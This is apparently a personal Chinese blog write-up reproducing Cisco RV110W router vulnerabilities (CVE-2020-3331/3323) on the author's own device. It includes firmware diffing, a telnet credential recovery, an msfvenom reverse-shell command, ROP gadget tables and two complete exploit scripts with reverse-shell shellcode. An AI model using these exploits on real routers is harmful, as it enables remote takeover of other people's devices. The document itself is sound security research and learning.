RV110W路由器漏洞复现
被xuanxuan
老师种草了~,”一定要摸真实的设备”这句话余音绕梁,终于狠下心买了一个二手的RV110W
,开始我的路由器漏洞复现之路,希望能学到点东西!
0x00 开端
拿到路由器接上电源网线,电脑连接上RV100W
就遇到了第一个问题,怎么进入后台?好吧,萌新没怎么玩过路由器,都是按照路由器背面的IP来登录,好巧不巧,它的背面很干净,啥都没有,看lemon
师傅的视频看到10.10.10.1兴致冲冲的去访问,结果进了一个交换机的登录界面,奇了怪了,后来询问lemon
师傅,要看路由器的网关IP进去,至此第一个问题顺利解决,初始密码是cisco:cisco
很顺利的进入后台,进入Administration => Firmware/Language Upgrade
,看到固件的版本不对,是多少来着忘了,反正很老的一个固件,下面提供了固件的升级,我直接就拿xuanxuan
老师的固件刷进去了,等了好一会,它就重启了,再次进入就发现固件版本已经变成1.2.2.5了
固件链接
0x01 信息收集
到这,准备工作已经完成了!
那就开始真实环境下的漏洞复现了,首先一般我们想要找一个设备的漏洞,那得先看有什么服务吧!那么从服务很容易联想到端口,所以最开始我们先用端口扫描
1
| nmap -sU -sT -p0-65535 192.168.1.1
|
扫完了,就想看看源码,就要对固件进行解包,固件提取拿以前的一张图来看
这里就是xuanxuan
老师那边拿的,算是互联网搜索吧!
xuanxuan
老师那说要安装sasquatch
这个组件,但是在AttifyOs
那直接binwalk
就开了???可能是AttifyOs
的binwalk
比较完整吧,不太清楚
解包完成之后,查看busybox
的版本是MIPS32
小端序的路由器
之后就是搜集漏洞信息
0x02 漏洞利用
CVE-2020-3330
之前扫到23端口是开着的,搜索发现大多数文件都是链接到rc这个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| > find . | xargs grep -ri "admin:\\\$" Binary file ./sbin/rc matches grep: ./usr/local/libexec/ipsec/setup: No such file or directory Binary file ./sbin/rc matches Binary file ./sbin/gpio_check matches Binary file ./sbin/write matches Binary file ./sbin/ca_manage matches Binary file ./sbin/ses_led matches Binary file ./sbin/ipsec_fqdn_detect matches Binary file ./sbin/sendudp matches Binary file ./sbin/check_ses_led matches Binary file ./sbin/stats matches Binary file ./sbin/ddns_update_data matches Binary file ./sbin/services matches Binary file ./sbin/restore matches Binary file ./sbin/info matches Binary file ./sbin/preinit matches Binary file ./sbin/qkvpn_rekey matches Binary file ./sbin/ipsec-up matches Binary file ./sbin/calc_vpnconn_time matches Binary file ./sbin/bootnv matches Binary file ./sbin/ipsec_wanlink matches Binary file ./sbin/usb_test matches Binary file ./sbin/icmp_echo matches Binary file ./sbin/cron_iaprule matches Binary file ./sbin/waninfo matches Binary file ./sbin/ntpd matches Binary file ./sbin/detectwan matches Binary file ./sbin/ipsec_fw matches Binary file ./sbin/ddns_success matches Binary file ./sbin/cpu_usage matches Binary file ./sbin/cron_aclrule matches Binary file ./sbin/firewall matches Binary file ./sbin/generate_md5sum matches Binary file ./sbin/init matches Binary file ./sbin/listen matches Binary file ./sbin/check_ps matches Binary file ./sbin/snmpdc matches Binary file ./sbin/process_monitor matches Binary file ./sbin/rc matches
|
把放到IDA里面,搜字符串定位关键函数
随便翻下就有了个明文字符串,拿去解一下MD5
密码就出来了,我们就可以通过telnet
来传gdbserver
就不用拆机器了
CVE-2020-3331/CVE-2020-3323
Diff
1.2.2.5这个固件的版本相对来说比较旧,所以一个很常用的手法就是去diff
文件,拿已经修复此漏洞的固件进行diff
,能够更容易的去定位漏洞点,diff
有俩常见的工具,bindiff
和diaphora
bindiff
bindiff下载链接
选.msi
下载就行,安装路径为IDA的主目录,之后打开IDA在插件那边就能看见bindiff
了,把要比对的文件先打开再保存成idb
文件,然后点bindiff
选择要比对的idb
就能开始比对啦!
ps:user
的目录不要有中文,否则你会很不幸
越往下滑呢!它就越有可能是目标,因为越下面就越不匹配,由于漏洞描述是前台的洞,所以选中的那个函数有可能就是目标,这里简单讲讲我认识什么的前台什么的后台?
前台:与用户进行交互的界面
后台:对用户隐藏的那部分数据处理与逻辑处理
查阅资料得知,每个基本块颜色的说明:
绿色:相同的基本块
黄色:修改的基本块
红色:删掉的基本块
灰色:新加的基本块
右键view flow graphs
就可以查看汇编代码对比,找了半天才找到,就离谱
ps:
千万不要直接把两个idb
直接丢到idb
,不然你会知道什么叫浪费时间(bindiff
直接打开的分析速度感人
除此之外,你如果对二进制的漏洞点以及危险函数比较熟悉的话,双击点进去,很容易就看到这个没有限制长度的sscanf
diaphora
吐了,老是报错整不好了…,bindiff
也能用的啦!只不过是看汇编,diaphora
可以看源码,下次再补上…
**%[ ^;];%*[ ^=]=%[ ^\n]**是一个正则表达式,%是代表选择,%*是过滤
%[^;]
:分号前的所有字符都要
;%*[^=]
:分号后,等号前的字符都不要
=%[^\n]
:等号后,换行符前的所有字符都要
看不是很懂,那就上个demo
吧!
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h>
int main(void){
char var1[5] = "aaa"; char var2[5] = "bbb"; char var3[5] = "ccc"; const char welcome[100] = "wElc0me t= reGuIar @xpr&ss!0n w0rld;";
sscanf(welcome,"%[^;];%*[^=]=%[^\n]", var1, var2, var3); printf("%s\n%s\n%s\n",var1,var2,var3); return 0; }
|
我们看到运行结果,还是很奇怪,留坑了…
发包测试一下是否存在溢出,发送GET报文发现并没有什么事情发生
1 2 3 4 5
| import requests
url = "https://192.168.1.1/guest_logout.cgi" payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"} requests.get(url, data=payload, verify=False, timeout=1)
|
但是发生POST报文的时候,发现web
页面在疯狂转圈圈,就是崩了,至于为什么只测试这两个请求头,二进制狗表示不太清楚…
1 2 3 4 5
| import requests
url = "https://192.168.1.1/guest_logout.cgi" payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa',"cip":"192.168.1.100"} requests.post(url, data=payload, verify=False, timeout=1)
|
确定溢出偏移
崩了就意味着,有漏洞点的存在,那接下来就是调试的事情了,用的是海特实验室的gdbserver
,其实还有一个是gef
开发者编译的gdbserver
海特实验室 IOT_Wiki
gef author
启动一个窗口起一个简单的http服务器
python2:
1
| ➜ python -m SimpleHTTPServer 8080
|
python3:
1
| ➜ python -m http.server 8080
|
ps:建议启动浏览器复制链接,真的好用!
再启动一个窗口telnet
连接上路由器用wget
(路由器里面自带的)挂上gdbserver
,就可以远程调试了
1 2 3 4 5 6
| ➜ telnet 192.168.1.1 ➜ cd tmp ➜ wget "http://192.168.181.178:8080/home/laohu/Desktop/gdbserver" ➜ chmod +x gdbserver ➜ ps | grep "httpd" ➜ ./gdbserver :1234 --attach 356
|
传进去之后,恶梦才刚刚开始….我根本想不到这问题出在哪里!尝试换终端(改成dash
),换架构(在树莓派上尝试),换目录(换到data
目录)之后,终于摸索到了关键原因—-gdbserver
本身,各位大师傅们的gdbserver
为gdbserver-7.12-mipsel-mips32rel2-v1-sysv
,我死活用不了,我尝试甚至在我朋友上的电脑上尝试都不行,可能大师傅们的电脑是MacOS
吧,咱也不知道,咱也不敢问,我最后在换到gdbserver-7.12-mipsel-i-v1-sysv
之后,终于可以使用了!
终于…下一个错误来了,gdb-mutilarch
进行远程调试的时候,remote
上去的时候断不下来,报下面这个错,看到下面capstone
好像出现了问题,怀疑是版本过低,重新安装pwntools
解决问题
5年了…Capstone 终于升级到4.0!
解决方法
此处,终于看到调试界面了,泪目!!!
来来来,问题怪又来了…,按照大师傅们的做法,按下c
之后,输入cyclic 200
生成的字符串,就会崩掉,并看到PC
寄存器被覆盖…但我…没反应啊!
解决办法就是先在sscanf
之前下断点(后面测试其实不用下断点也是一样的,然后再c
,接着用exp
打一下,就断下来了,原因是因为我们本身就是attach
上httpd
这个进程,所以这个进程本身还在运行,如果我们打了断点并用exp
打过去的话,它就会按照以往正常的业务逻辑去执行,但是再执行的过程中被中断了,所以…就断了下来,再往下走的,我们就能看到PC
寄存器被覆盖了!接下来就是常规操作用cyclic -l
来计算偏移
确定好溢出的长度就可以开始利用了,基本上都是ROP+shellcode
的形式,那么现在就是生成shellcode
和泄露libc
获取gadget
的问题了
shellcode
shellcode一般来说可以使用以下四种方式获取:
- msfvenom
- shell-storm
- pwntools
- 自己编写(简单的
shellcode
还是可以写写的
其他都有试过,msf
还没试过这里记录一下…msf
支持好多版本的shellcode
,太香了吧!
用下面的命令就能生成,注意IP和端口匹配:
1
| ➜ msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.100 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py
|
总的来说还是:msf
更方便好用,并且非常稳。shell-storm
找到的种类多,不过偶尔需要手动修改。最后对于真实设备的利用上pwntools
会有很多的问题,所以这里不推荐使用pwntools
生成shellcode
shell-storm
里面的shellcode
也是能用的,不过需要修改IP地址
200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb
ROP
既然要ROP
,那必然要泄露libc
,但是在大部分IOT设备中,地址随机化是不会变化的,包括这个设备,所以在maps
中加载的libc
地址就是它一直使用的libc
地址,无论是重启还是换固件版本甚至在RV130
中,libc
的基地址都一样,这就省去了很多步骤,下面引用xuanxuan
老师的一段话:
问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget
。
可以看到很多libc
,而libc.so.0
的基地址是2af98000
得到了libc
基地址,只让是寻找一些可用的gadget
,我们使用IDA的插件—-mipsrop
,由于安装的时候发现,它对IDA 7.5不是很支持,所以还是出了一些小问题,这里记录一下…
解决IDA 无法安装mipsrop插件
IDA 无法安装mipsrop插件
安装成功后呢,在search
中就能看到mips rop gadgets
,点击之后加载了mipsrop
插件了
可以用mipsrop.help()
查看mipsrop
的一些常用命令
mipsrop常用命令
在上面的程序加载了很多动态链接库,但是却唯独选择了**/lib/libc.so.0**这个动态链接库来寻找gadget
,为啥呢?估计是比较熟悉吧!
用mipsrop.stackfinders()
来寻找一些gadget
,这些gadget
都是和栈($sp
)相关的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| Python>mipsrop.stackfinders() --------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | --------------------------------------------------------------------------------------------------------- | 0x0000BA84 | addiu $a1,$sp,0x158+var_A0 | jalr $s0 | | 0x00011918 | addiu $a2,$sp,0x68+var_40 | jalr $s1 | | 0x000250A8 | addiu $s0,$sp,0x278+var_250 | jalr $fp | | 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 | | 0x00025CAC | addiu $a0,$sp,0x38+var_20 | jalr $s3 | | 0x0002747C | addiu $a0,$sp,0x38+var_20 | jalr $s3 | | 0x0002CC00 | addiu $a0,$sp,0x38+var_10 | jalr $s0 | | 0x0002CC08 | addiu $a0,$sp,0x38+var_10 | jalr $s1 | | 0x00035DF4 | addiu $a1,$sp,0x20+var_8 | jalr $s1 | | 0x0003D050 | addiu $a0,$sp,0x30+var_18 | jalr $a0 | | 0x000427A8 | addiu $s0,$sp,0xB8+var_98 | jalr $s6 | | 0x00042E04 | addiu $v1,$sp,0xF0+var_D0 | jalr $s1 | | 0x0000D45C | addiu $a0,$sp,0x98+var_80 | jr 0x98+var_s4($sp) | | 0x0000ED70 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | | 0x0001D5FC | addiu $a3,$sp,0x28+var_8 | jr 0x28+var_s0($sp) | | 0x00020100 | addiu $a0,$sp,0x28+var_10 | jr 0x28+var_s0($sp) | | 0x0002C060 | addiu $a0,$sp,0x70+var_58 | jr 0x70+var_sC($sp) | | 0x0002F800 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_s0($sp) | | 0x00030434 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s10($sp) | | 0x00039948 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) | | 0x000399A0 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) | | 0x000399F8 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) | | 0x00039A50 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) | | 0x00039A90 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) | | 0x00039AFC | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) | | 0x00039B5C | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) | | 0x0003A844 | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) | | 0x0003D05C | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s0($sp) | | 0x0004BAA8 | addiu $a1,$sp,0x3020+var_1008 | jr 0x3020+var_s24($sp) | | 0x0004D314 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | | 0x0004D484 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | | 0x0004D8E4 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | --------------------------------------------------------------------------------------------------------- Found 32 matching gadgets Python>mipsrop.find("mov $t9,$a0") --------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | --------------------------------------------------------------------------------------------------------- | 0x0003D050 | move $t9,$a0 | jalr $a0 | --------------------------------------------------------------------------------------------------------- Found 1 matching gadgets
|
找到两条可用的gadget
:
1 2 3
| | 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
|
算一下溢出到$s0
的偏移0x55-0xe4+0xc0 = 0x31
再看看shellcode
的偏移,暂时还不会在ghidra
上用mipsrop
的插件,就用了个笨办法,在IDA上先找gadget
然后,再来ghidra
看偏移,可以看到我们shellcode
的偏移为0x18,至此,所有的准备工作已经完成!!!
再启动一个终端,监听shellcode
中回连的端口,等待反弹shell
,完整exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import requests from pwn import *
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000 jmp_a0 = libc + 0x0003D050 jmp_s0 = libc + 0x000257A0
shellcode = b"" shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd" shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01" shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f" shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c" shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0" shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff" shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01" shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f" shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff" shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff" shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf" shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf" shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc" shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01" shellcode += b"\x01\x01"
pd1 = "status_guestnet.asp" + 'a' * 0x31 + p32(jmp_a0) + 'b' * (85 - 49 - 4) + p32(jmp_s0) + 'c' * 0x18 + shellcode
url = "https://192.168.1.1/guest_logout.cgi" pd2 = { "cmac": "12:af:aa:bb:cc:dd", "submit_button": pd1, "cip": "192.168.1.100" }
requests.packages.urllib3.disable_warnings() requests.post(url, data=pd2, verify=False, timeout=1)
|
监听的终端已经看到反弹shell
了,泪目~
exp
的另一种写法,加入pwntools
的wait_for_connection
模块来实现的,这样就不用开多一个终端监听:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import * import thread,requests
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000 jmp_a0 = libc + 0x0003D050 jmp_s0 = libc + 0x000257A0
buf = b"" buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd" buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01" buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f" buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c" buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0" buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff" buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01" buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f" buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff" buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff" buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf" buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf" buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc" buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01" buf += b"\x01\x01"
url = "https://192.168.1.1/guest_logout.cgi" pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}
def attack(): try: requests.packages.urllib3.disable_warnings() requests.post(url, data=pd2, verify=False,timeout=1) except: pass
io = listen(8888)
thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell") io.interactive()
|
0x03 总结
被xuanxuan
老师带坑的第一个真实的IOT设备,复现之路异常坎坷,但不管怎么样最终还是复现出来了,学到不少知识,不过还有一些细节问题还没解决,后面慢慢看吧!加油,路还很长,任重而道远!
0x04 参考文章
思科路由器 RV110W CVE-2020-3331 漏洞复现
360代码卫士帮助思科公司修复多个产品高危安全漏洞(附详细技术分析)
强网杯2020决赛 Cisco RV110W路由器复现
思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞复现